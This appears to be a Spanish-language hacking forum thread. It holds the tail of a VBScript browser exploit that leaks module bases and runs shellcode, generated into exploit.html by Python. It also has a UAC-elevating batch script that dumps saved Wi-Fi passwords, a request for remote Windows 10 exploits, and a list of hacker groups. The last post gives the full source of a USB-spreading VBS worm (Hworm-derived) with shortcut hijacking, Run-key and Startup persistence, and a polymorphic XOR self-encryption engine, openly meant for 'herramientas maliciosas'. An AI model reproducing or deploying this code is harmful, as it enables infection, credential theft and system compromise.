		Set lIIl(1)=New cla1
		Erase lIIl
	Next
	Set llll=New llIIl
	IllI=0
	For IIIl=0 To 6
		ReDim lIIl(1)
		Set lIIl(1)=New cla2
		Erase lIIl
	Next
	Set IIIIl=New llIIl
End Sub
Sub InitObjects
	llll.SetProp(llllIl)
	IIIIl.SetProp(IlIIII)
	IlII=IIIIl.mem
End Sub
 
Sub StartExploit
	UAF
	InitObjects
	vb_adrr=LeakVBAddr()
	//Alert \"CScriptEntryPointObject Leak: 0x\" & Hex(vb_adrr) & vbcrlf & \"VirtualTable address: 0x\" & Hex(GetUint32(vb_adrr))
	vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))
	//Alert \"VBScript Base: 0x\" & Hex(vbs_base) 
	msv_base=GetBaseFromImport(vbs_base,\"msvcrt.dll\")
	//Alert \"MSVCRT Base: 0x\" & Hex(msv_base) 
	krb_base=GetBaseFromImport(msv_base,\"kernelbase.dll\")
	//Alert \"KernelBase Base: 0x\" & Hex(krb_base) 
	ntd_base=GetBaseFromImport(msv_base,\"ntdll.dll\")
	//Alert \"Ntdll Base: 0x\" & Hex(ntd_base) 
	VirtualProtectAddr=GetProcAddr(krb_base,\"VirtualProtect\")
	//Alert \"KernelBase!VirtualProtect Address 0x\" & Hex(VirtualProtectAddr) 
	NtContinueAddr=GetProcAddr(ntd_base,\"NtContinue\")
	//Alert \"KernelBase!VirtualProtect Address 0x\" & Hex(NtContinueAddr) 
	SetMemValue GetShellcode()
	ShellcodeAddr=GetMemValue()+8
	//Alert \"Shellcode Address 0x\" & Hex(ShellcodeAddr) 
	SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)
	lIlll=GetMemValue()+69596
	SetMemValue ExpandWithVirtualProtect(lIlll)
	llIIll=GetMemValue()
	ExecuteShellcode
	Alert \"Executing Shellcode\"
End Sub
StartExploit
</script>
</body>
</html>
 
""".format(shellcode=result)
 
f = open("exploit.html", "w")
f.write(payload)

Aun no se que hace exactamente, pero me tomare el tiempo de decodificarlo y analizarlo bien.
Saludos

A continuacion les traigo el siguiente codigo

@echo off & setlocal enabledelayedexpansion
Set "Copyright=by Bad4m_cod3"
Title  %~n0 %Copyright%
Mode con cols=75 lines=8
cls & color 0A & echo.
	echo             ***********************************************
	echo                 %~n0 %Copyright%
	echo             ***********************************************
	echo(
if _%1_==_Main_  goto :Main
Set Count=0
Set L=0
:getadmin
    echo               %~nx0 : self elevating
    set vbs=%temp%\getadmin.vbs
(
	echo Set UAC = CreateObject^("Shell.Application"^)
	echo UAC.ShellExecute "%~s0", "Main %~sdp0 %*", "", "runas", 1
)> "%vbs%"
    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
goto :eof
::*************************************************************************************
:Main
Call :init
Call :CountLines
Set "PasswordLog=%~dp0Wifi_Passwords_on_%ComputerName%.txt"
%Mod%
	echo(
	echo             ***********************************************
	echo                 %~n0 %Copyright%
	echo             ***********************************************
	echo(
Call :Color 0E "                 [N][SSID] ================ Password" 1
echo(
(
	echo             ***********************************************
	echo                 %~n0 %Copyright%
	echo             ***********************************************
	echo(
	echo                  [N][SSID] ==============^> "Password"
	echo(
 
)>"%PasswordLog%"
for /f "skip=2 delims=: tokens=2" %%a in ('netsh wlan show profiles') do (
    if not "%%a"=="" (
        set "ssid=%%a"
        set "ssid=!ssid:~1!"
		call :Getpassword "!ssid!"
    )
)
echo(
echo Done
If exist "%PasswordLog%" start "" "%PasswordLog%"
pause>nul
exit
::*************************************************************************************
:Getpassword
set "name=%1"
set "name=!name:"=!"
Set "passwd="
for /f "delims=: tokens=2" %%a in ('netsh wlan show profiles %1 key^=clear ^|find /I "Cont"') do (
	set "passwd=%%a"
	Set /a Count+=1
)
 
If defined passwd (
	set passwd=!passwd:~1!
	echo                  [!Count!][!name!] ====^> "!passwd!"
	echo                  [!Count!][!name!] ====^> "!passwd!" >> "% style="color: #448888;">PasswordLog%"
) else (
	Set /a Count+=1
call :color 0C "                 [!Count!][!name!] The Password is empty" 1
	echo                  [!Count!][!name!] The Password is empty >> "% style="color: #448888;">PasswordLog%"
)
exit /b
::*************************************************************************************
:init
prompt $g
for /F "delims=." %%a in ('"prompt $H. & for %%b in (1) do rem"') do set "BS=%%a"
exit /b
::*************************************************************************************
:color
set nL=%3
if not defined nL echo requires third argument & pause > nul & goto :eof
if %3 == 0 (
    <nul set /p ".=%bs%">%2 & findstr /v /a:%1 /r "^$" %2 nul & del %2 2>&1 & goto :eof
) else if %3 == 1 (
    echo %bs%>%2 & findstr /v /a:%1 /r "^$" %2 nul & del %2 2>&1 & goto :eof
)
exit /b
::*************************************************************************************
:CountLines
for /f "skip=2 delims=: tokens=2" %%a in ('netsh wlan show profiles') do (
    if not "%%a"=="" (
		set /a L+=1
	)
)
set /a L=!L! + 10
Set Mod=Mode con cols=75 Lines=!L!
exit /b
::*************************************************************************************

Al ejecutarlo te pide privilegios de administrador para poder realizar una busqueda automatica con el comando Netsh Wlan. Solo funciona si el idioma del sistema es el español Saludos

Saludos! Alguien en este foro no tendra un enlace para documentacion o tutoriales de explots para ejecutar Shellcode de forma remota en Windows 10? algo parecido a ËternalBlue. Estoy trabajando en un laboratorio de VBox

Para los que no esten al tanto, existen actualmente un articulo que redacta todos los grupos Hacktivistas que tuvieron un lugar destacado en la cultura online de varios foros. A continuacion la traducion

• Anónimo, originario de 2003, Anónimo fue creado como un grupo para las personas que lucharon por el derecho a la privacidad.
  
• Anónimo de Sudán, fundado en 2023, un grupo hacktivista que afirma actuar contra actividades anti-musulmanas, pero supuestamente está respaldado por ruso y ni está vinculado a Sudán ni anónimo.
  ]
• Bangladesh Black Hat Hackers, fundado en 2012.
  
• Chaos Computer Club (CCC), fundada en 1981, es la asociación de hackers más grande de Europa con 7.700 miembros registrados.
  
• Conti uno de los grupos de ransomware más prolíficos de 2021, según el FBI.
  
• Cozy Bear, un grupo de piratas informáticos rusos que se cree que está asociado con una o más agencias de inteligencia de Rusia.
  
• Los piratas informáticos de la Revolución Croata, un grupo de piratas informáticos croatas ahora desaparecidos con uno de los ataques más grandes que ocurrieron en los Balcanes.
  
• Cult of the Dead Cow, también conocido como CDC o CDC Communications, es un hacker informático y una organización de medios de bricolaje fundada en 1984 en Lubbock, Texas.
  
• Darkside, un grupo de piratería cibercriminal, que se cree que tiene su sede en Europa del Este, que apunta a las víctimas que usan ransomware y extorsión.
  
• DCLEAKS, afirma ser un grupo de "hacktivistas estadounidenses (aunque se descubrió que los individuos acusados ​​estaban en Rusia) que respetan y aprecian la libertad de expresión, los derechos humanos y el gobierno de la gente".
  
• Derp, un grupo de piratas informáticos que atacó varios sitios de juego a fines de 2013.
  
• Digital Dawgpound (DDP) El DDP fue fundado y nombrado por Stankdawg.
  
• Fancy Bear, un grupo ruso de ciberesionaje.
  
• Genocide2600, un grupo que ganó notoriedad para combatir la pornografía infantil.
• Ghost Squad Hackers, o por la abreviatura "GSH" es un equipo de piratería de motivación política establecido en 2015.
  
• Global Kos fue un grupo de piratas informáticos de computadoras grises (inclinado negro) activo desde 1996 hasta 2000.
  
• Globalhell era un grupo de piratas informáticos, compuestos por unos 60 individuos. El grupo se disolvió en 1999 cuando 12 miembros fueron procesados ​​por intrusión informática y 30 por delitos menores.
  
• La seguridad de la cabra (Goatsec) es un grupo de piratas informáticos grises sueltos y de nueve personas que se especializa en descubrir fallas de seguridad.
  
• Hackweiser es un grupo de piratería underground y una revista de piratería fundada en 1999.
  
• Hafnium posiblemente con asociaciones chinas, responsables de la violación de datos de Microsoft Exchange Server 2021.
  
• Hive era una notoria organización criminal de Ransomware como Servicio (RAAS) que se dirigía principalmente a instituciones públicas. [2]
  
• Honker Union es un grupo conocido por el hacktivismo, principalmente presente en China continental, cuyos miembros lanzaron una serie de ataques a sitios web en los Estados Unidos, en su mayoría sitios relacionados con el gobierno.
  
• Indian Cyber ​​Force es un grupo hacktivista que dirige a las entidades que se perciben en contra de los intereses indios.
• Killnet es un grupo pro-ruso que atacó las instituciones gubernamentales de varios países e intentó DDOS el sitio web del concurso de canciones de Eurovisión 2022.
  
• L0PHT fue un colectivo de hacker activo entre 1992 y 2000 y ubicado en el área de Boston, Massachusetts.
  
• Lapsus $, un grupo de hackers de sombrero negro conocido por usar tácticas de extorsión. Activo desde finales de 2021, supuestamente arrojó datos de Microsoft, Samsung y Nvidia, y con los miembros arrestados en marzo de 2022.
  
• El Grupo Lazarus, con fuertes vínculos con el gobierno de Corea del Norte, involucrado en el Hack de Sony Pictures, el robo del banco de Bangladesh y el ataque de ransomware WannaCry.
  
• LOD era un grupo de hackers activo a principios de los años 80 y mediados de los 90. Había notado rivalidad con Masters of Deception (mod).
  
• Legion Hacktivist Group, un grupo de piratería que secuestró el servidor indio Yahoo y pirateó los portales de noticias en línea de la India.
  
• The Leven Seven fue un grupo de piratería a mediados o finales de la década de 1990. Finalmente dispersándose a principios de 2000 cuando su nomina
• Lizard Squad, conocido por sus afirmaciones de ataques distribuidos de denegación de servicio (DDoS) [19] principalmente para interrumpir los servicios relacionados con el juego.
• Lords of Dharmaraja, un grupo de piratería de seguridad con sede en la India que amenazó en 2012 para lanzar el código fuente del producto de Symantec Norton Antivirus.
  
• Lulzsec, un grupo de piratas informáticos que se originan y se disuelven en 2011 que afirmaba hackear "para Lulz".
  
• Masters of Deception, la membresía inicial de Mod creció de reuniones en líneas de prueba de bucle a principios a mediados de la década de 1980. Había notado rivalidad con Legion of Doom (LOD).
  
• MILW0RM es un grupo de "hacktivistas" más conocidos por penetrar en las computadoras del Centro de Investigación Atómica de Bhabha (BARC) en Mumbai.
  
• NCPH es un grupo de piratas informáticos chinos con sede en Zigong en la provincia de Sichuan.
  
• NoiseBridge, un espacio de hackers ubicado en San Francisco que se realiza con la definición temprana de piratería y no de piratería de seguridad.
  
• Noname057 (16) Un grupo de hackers de habla rusa, ataques alineados con la invasión de Rusia en Ucrania
  
• NuestroMine, un grupo de hackers de origen desconocido que ha comprometido varios sitios web y cuentas de Twitter como una forma de anunciar sus "servicios profesionales".
  
• P.H.I.R.M., un grupo de piratería temprano que se fundó a principios de la década de 1980.
  
• Phone Losers of America, una comunidad de llamadas de broma de Internet fundada en 1994 como un grupo de piratería y phreaking telefónico.
  
• Play, un grupo de extorsión de ransomware, los expertos creen que son de Rusia.
  
• Redhack es un grupo socialista de piratas informáticos con sede en Turquía, fundado en 1997. Por lo general, lanzan ataques contra los sitios web del gobierno turco y filtran documentos secretos del gobierno turco.
  
• Rhysida Group detrás del CyberAtack de la Biblioteca Británica de 2023 y el volcado de juegos Insomniac utilizando ransomware como servicio.
  
• Rocket Kitten o The Rocket Kitten Group es un grupo de piratas informáticos que se cree que está vinculado al gobierno iraní.
• Sandworm, también conocida como Unidad 74455, una unidad militar cibernética rusa de la GRU.
  
• The Shadow Brokers (TSB), que se originó en el verano de 2016. Publicaron varias filtraciones que contienen herramientas de piratería, incluidas varias exploits de día cero de la Agencia de Seguridad Nacional (NSA).
  
• Shinyhunters es un grupo de piratas informáticos que se dice que es responsable de numerosas violaciones de datos en 2020 y 2021.
  
• TeamP0ison es un grupo de piratas informáticos de sombrero negro establecidos a mediados de 2009.
  
• Telecomix, un grupo hacktivista conocido principalmente por eludir la censura de Internet durante múltiples eventos políticos.
  
• Teslateam es un grupo de piratas informáticos de sombrero negro de Serbia establecidos en 2010.
  
• Teso era un grupo de piratas informáticos que se originó en Austria que estuvo activo principalmente de 1998 a 2004.
  
• Turla uno de los grupos más sofisticados que apoyan al gobierno ruso.
  
• Ugnazi, un grupo de piratería dirigido por Joshthegod, fue fundado en 2011. Son mejor conocidos por varios ataques contra sitios del gobierno de los Estados Unidos, filtrando la base de datos de WHMC, [21] ataques DDoS y exponiendo información personal de celebridades y otras figuras de alto perfil en expuestos.
  
• Vice Society, un grupo de piratas informáticos de habla rusa conocido por los ataques a las organizaciones de la salud y la educación.
  
• Wizard Spider Russian / Ucranian Hacker Group, sospechoso de estar detrás del CiberAtack ejecutivo del Servicio de Salud de Irlanda, a veces llamado Trickbot por malware.
  
• Yemen Cyber ​​Army, un grupo de piratas informáticos pro-yemení que se ha atribuido la responsabilidad por la desfiguración del sitio web Pro-Saudi Al-Hayat con sede en Londres en abril de 2015, así como por la exfiltración de datos del Ministerio de Asuntos Exteriores de la Arabia Saudita en mayo en mayo que figuran posteriormente en Wikileaks.
  
• YIPL/TAP - Línea de asistencia tecnológica o Línea de Asistencia Tecnológica de Jóvenes Internacionales, fue una organización y publicación de phreak de teléfono temprano creada en la década de 1970 por los activistas Abbie Hoffman.
  
• Xbox Underground, un grupo internacional responsable de piratear desarrolladores de juegos, incluido Microsoft.
  
• UNC1151, que se cree que se encuentra en Bielorrusia

A la fecha de iniciado este Tema es raro ver casos de grupos Hacktivistas de esta magnitud.

A continuacion muestro el trabajo de mezclar el codigo modificado de Hworm (VBS) que se transmite via USB a el siguiente codigo que incluye un motor polimorfico. Ambas escritas en una clase distinta. Por ahora solo tengo este trabajo y espero publicar mas contenido al respecto para ser tomado enserio en el desarrollo de herramientas maliciosas. Pues bien mi objectivo es lograr un modelo de malware tipo VBS Polimorfico y otro modelo que seria MetaPolimorfico ("Capaz de cambiar el cifrado, el codigo y automodificarse")

Set lnk_infect_houdini = New Basic_lnk_infec
Set mod_polimorfic_XOR = New Polimorfic_VBScripts_Motors
 
'mod_polimorfic_XOR.Polimorfic_VBS_XORSPLIT
 
'lnk_infect_houdini.install_lnk_drive_USB
'lnk_infect_houdini.uninstall
 
Class Basic_lnk_infec
 
dim shellobj,filesystemobj
dim installname,startup
dim lnkfile,lnkfolder,installdir
 
Private Sub Class_Initialize()
  installdir = "%temp%"
  lnkfile = True
  lnkfolder = True
  set shellobj = createobject("wscript.shell")
  set filesystemobj = createobject("scripting.filesystemobject")
  installname = wscript.scriptname
  startup = shellobj.specialfolders ("startup") & "\"
  installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sub install_lnk_drive_USB
on error resume next
dim lnkobj,filename,foldername,fileicon,foldericon
upstart
for each drive in filesystemobj.drives
if  (drive.isready) and (drive.freespace  > 0) and (drive.drivetype  = 1)  then
    filesystemobj.copyfile wscript.scriptfullname,drive.path & "\" & installname,true
    if  filesystemobj.fileexists (drive.path & "\" & installname) then filesystemobj.getfile(drive.path & "\"  & installname).attributes = 6
    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
        if not lnkfile then exit for
        if  instr (file.name,".") then
            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 6
                if  ucase (file.name) <> ucase (installname) then
                    filename = split(file.name,".")
                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                    if  instr (fileicon,",") = 0 then
                        log_ico = file.path
                    else 
                        log_ico = fileicon
                    end if
                    create_lnk drive.path & "\"  & filename (0) & ".lnk","/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit",log_ico
                end if
            end if
        end if
    next
    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
        if not lnkfolder then exit for
        folder.attributes = 6
        foldername = folder.name
        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
        if  instr (foldericon,",") = 0 then
            ico_log = folder.path
        else 
            ico_log = foldericon
        end if
        create_lnk drive.path & "\"  & foldername & ".lnk","/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit",ico_log
    next
end If
next
err.clear
end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sub uninstall
on error resume next
dim filename
dim foldername
downstart
for  each drive in filesystemobj.drives
if (drive.isready) and (drive.freespace  > 0) and (drive.drivetype  = 1) then
  for each file in filesystemobj.getfolder ( drive.path & "\").files
         if  instr (file.name,".") then
             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                 file.attributes = 0
                 if  ucase (file.name) <> ucase (installname) then
                     filename = split(file.name,".")
                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                 else
                     filesystemobj.deletefile (drive.path & "\" & file.name)
                 end If
             else
                 filesystemobj.deletefile (file.path) 
             end if
         end if
     next
     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
         folder.attributes = 0
     next
end if
next
wscript.quit
end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
public sub upstart ()
on error resume next
set shellobj = createobject("wscript.shell")
shellobj.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\linux",  "wscript.exe //B " & chr(34) & installdir & installname & chr(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
public sub downstart ()
on error resume next
shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\linux"
filesystemobj.deletefile startup & installname ,true
filesystemobj.deletefile wscript.scriptfullname ,true
end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
function create_lnk(file_name_lnk,arg_str,icon_log)
set lnkobj = shellobj.createshortcut(file_name_lnk) 
        lnkobj.windowstyle = 7
        lnkobj.targetpath = "cmd.exe"
        lnkobj.workingdirectory = ""
        lnkobj.arguments = arg_str
        lnkobj.iconlocation = icon_log
        lnkobj.save()
end function
end Class
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
Class Polimorfic_VBScripts_Motors
  Dim lenalfavar, lenalfaspl
  Dim alfabet_var, alfabet_split
  Dim FileSystemObject
  Dim LABEL_TYPE_ENCRYPTER_XORSPLIT
  Dim LABEL_TYPE_ENCRYPTER_sutwo
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Sub Class_Initialize()
  '
  ' Genera el objecto del sistema de manejo de ficheros,
  '
    alfabet_var = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 'len=52
    alfabet_split = "/\?#$@|°¬" 'len=9
    lenalfavar = len(alfabet_var)-1 '[0-51]
    lenalfaspl = len(alfabet_split)-1 '[0-7]
    set FileSystemObject = createobject("scripting.filesystemobject")
 
    LABEL_TYPE_ENCRYPTER_XORSPLIT = "'EncrypterXORSPLITV1.0"
  end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Public sub Polimorfic_VBS_XORSPLIT() 'Genera el proceso de Polimorfismo, cifrando y descifrandose a si mismo
      EncrypterVBS_code = FileSystemObject.opentextfile(wscript.scriptfullname,1).readall 'Se lee a si mismo (Si esta vacio produce un error)
      if instr(split(EncrypterVBS_code,vbcrlf)(0),"execute") <> 0 then 'Si esta cifrado entonces se decifra con Decode_VBS_XORSPLIT, busca la etiqueta y se vuelve a cifrar
        Code_VBS = Decode_VBS_XORSPLIT(EncrypterVBS_code)
          if split(Code_VBS,vbcrlf)(0) = LABEL_TYPE_ENCRYPTER_XORSPLIT then
            FileSystemObject.createtextfile(wscript.scriptname).write Encode_VBS_XORSPLIT(Code_VBS)
          else 
            wscript.quit
          end if
      else'Si no esta cifrado entonces añade la etiqueta LABEL_TYPE_ENCRYPTER_XORSPLIT al principio del codigo fuente y se cifra a si mismo
          EncrypterVBS_code = LABEL_TYPE_ENCRYPTER_XORSPLIT & vbcrlf & EncrypterVBS_code
          FileSystemObject.createtextfile(wscript.scriptname).write Encode_VBS_XORSPLIT(EncrypterVBS_code)
      end if
  end sub
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Public Function Decode_VBS_XORSPLIT(code)
    dim String_One_Line_Code_VBS, var_temp_split
 
    String_One_Line_Code_VBS = split(split(code,vbcrlf)(0),"(")'Extrae la primera linea del codigo
    String_One_Line_Code_VBS(2) = KickString(String_One_Line_Code_VBS(2),String_One_Line_Code_VBS(1))
    String_One_Line_Code_VBS(2) = KickString(String_One_Line_Code_VBS(2),"),")
 
    'En String_One_Line_Code_VBS(2) esta el codigo cifrado, en String_One_Line_Code_VBS(3) esta el password
 
    var_temp_split = split(String_One_Line_Code_VBS(2),",")
    spliit = KickString(var_temp_split(1),chr(34))
    cifrado = KickString(var_temp_split(0),chr(34))
    password = KickString(split(String_One_Line_Code_VBS(3),",")(0),chr(34))
 
  'Extrae las cadenas y elimina comillas
 
    Decode_VBS_XORSPLIT = encode_xor(Str_split_decode(cifrado,spliit),Str_split_decode(password,spliit))' Descifra el VBScript
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Public Function Encode_VBS_XORSPLIT(VBScode)
    randomize
      modcode = "execute %0(%7(%1,%12),%7(%2,%12))" & vbcrlf
      modcode = modcode & "Function %0(%3,%4)" & vbcrlf
      modcode = modcode & "For %5 = 1 to len(%3)" & vbcrlf
      modcode = modcode & "%6 = %6 + 1" & vbcrlf
      modcode = modcode & "%0 = %0 & chr((asc(mid(%3,%5,1)))xor(asc(mid(%4,%6,1))))" & vbcrlf
      modcode = modcode & "if %6 = len(%4) then %6 = 0" & vbcrlf
      modcode = modcode & "next" & vbcrlf
      modcode = modcode & "end function" & vbcrlf
      modcode = modcode & "function %7(%8,%9)" & vbcrlf
      modcode = modcode & "%10 = split(%8,%9)" & vbcrlf
      modcode = modcode & "for %11 = LBound(%10) to Ubound(%10)" & vbcrlf
      modcode = modcode & "%7 = %7 & chr(%10(%11))" & vbcrlf
      modcode = modcode & "next" & vbcrlf
      modcode = modcode & "end function"
 
    var_split = Ramdon_var_spliter()
    password = random_String(16)
    cifrado = encode_xor(VBScode,password)
 
        for inx = 3 to 11 'Genera variable aleatorias en el codigo
          modcode = replace(modcode,"%" & inx,ramdon_vars(10))
        next
 
      'añade al codigo los nombres de las funciones, la llave de cifrado, el codigo cifrado... En resumen Encapsula el codigo cifrado
      modcode = replace(modcode,"%0",ramdon_vars(10)) 
      modcode = replace(modcode,"%12",AddComillas(var_Split))
      modcode = replace(modcode,"%1",AddComillas(Str_split_encode(cifrado,var_split)))
      modcode = replace(modcode,"%2",AddComillas(Str_split_encode(password,var_Split)))
    Encode_VBS_XORSPLIT = modcode
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function Ramdon_var_spliter()'extrae el caracter random de alfabet_split
    randomize
    Random_number = rnd*lenalfaspl
    if Random_number < 1 then Random_number = 1
    Ramdon_var_spliter = mid(alfabet_split,Random_number,1)
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function ramdon_vars(lenvar) 'Genera un String con caracteres aleatorios del String alfabet_var de tamaño lenvar
    randomize
      For inx = 1 to lenvar
        Random_number = Fix(rnd * lenalfavar)
        if Random_number < 1 then Random_number = 1
        ramdon_vars = ramdon_vars & mid(alfabet_var,Random_number,1)
      next
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function random_String(lenvar) 'Devuelve un String aleatoria de caracteres ASCII de tamaño lenvar
    randomize
      For inx = 1 to lenvar
        random_String = random_String & chr(Fix(rnd*255))
      next
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function encode_xor(string_cliptext,password_spliter) 'Funcion de cifrado y descifrado con Or-Exclusiva (Xor)
    lenstr=len(string_cliptext):lenpa=len(password_spliter)
      For inx_String_cliptext = 1 to lenstr
        count_password_spliter = count_password_spliter + 1
        chr_cliptxt = Asc(mid(string_cliptext , inx_String_cliptext , 1))
        chr_pwr = Asc(mid(password_spliter,count_password_spliter,1))
        encode_xor = encode_xor & chr(chr_cliptxt Xor chr_pwr)
          if count_password_spliter => lenpa then count_password_spliter = 0
      next
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private function Str_split_decode(String_encode,password_spliter) 'Decodifica el cifrado split 
    array_Str_Encode = split(String_encode,password_spliter)
      for inx = LBound(array_Str_Encode) to Ubound(array_Str_Encode)
        Str_split_decode = Str_split_decode & chr(array_Str_Encode(inx))
      next
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function Str_split_encode(string_Cliptext,password_spliter) 'Codfifica con cifrado split
    Len_string_Cliptext = len(string_Cliptext)
      for inx = 1 to (Len_string_Cliptext-1)
        Str_split_encode = Str_split_encode & Cstr(Asc(mid(string_Cliptext,inx,1))) & password_spliter
      next
    Str_split_encode = Str_split_encode & Cstr(Asc(mid(string_Cliptext,Len_string_Cliptext,1)))
  end function
'=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Private Function KickString(str1,str2):KickString = replace(str1,str2,""):End function 
  Private Function AddComillas(strr):AddComillas=chr(34)&strr&chr(34):end function 'Añade comillas
End Class

 La siguiente linea no me permite crear una entrada en el registro

set shellobj = createobject("wscript.shell")
shellobj.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"